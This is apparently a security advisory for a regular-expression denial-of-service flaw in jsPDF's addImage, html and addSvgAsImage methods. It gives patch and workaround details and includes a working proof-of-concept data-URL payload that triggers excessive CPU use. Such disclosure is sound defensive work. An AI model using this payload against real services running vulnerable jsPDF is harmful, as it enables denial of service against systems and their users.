Details

jsPDF Bypass Regular Expression Denial of Service (ReDoS) ### Impact User control of the first argument of the `addImage` method results in CPU utilization and denial of service. If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are: `html`, `addSvgAsImage`. Example payload: ```js import { jsPDF } from "jpsdf" const doc = new jsPDF(); const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined'; const startTime = performance.now() try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } catch (err) { const endTime = performance.now() console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`) } doc.save("a4.pdf"); ``` ### Patches The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1 ### Workarounds Sanitize image urls before passing it to the `addImage` method or one of the other affected methods. ### Credits Researcher: Aleksey Solovev (Positive Technologies)
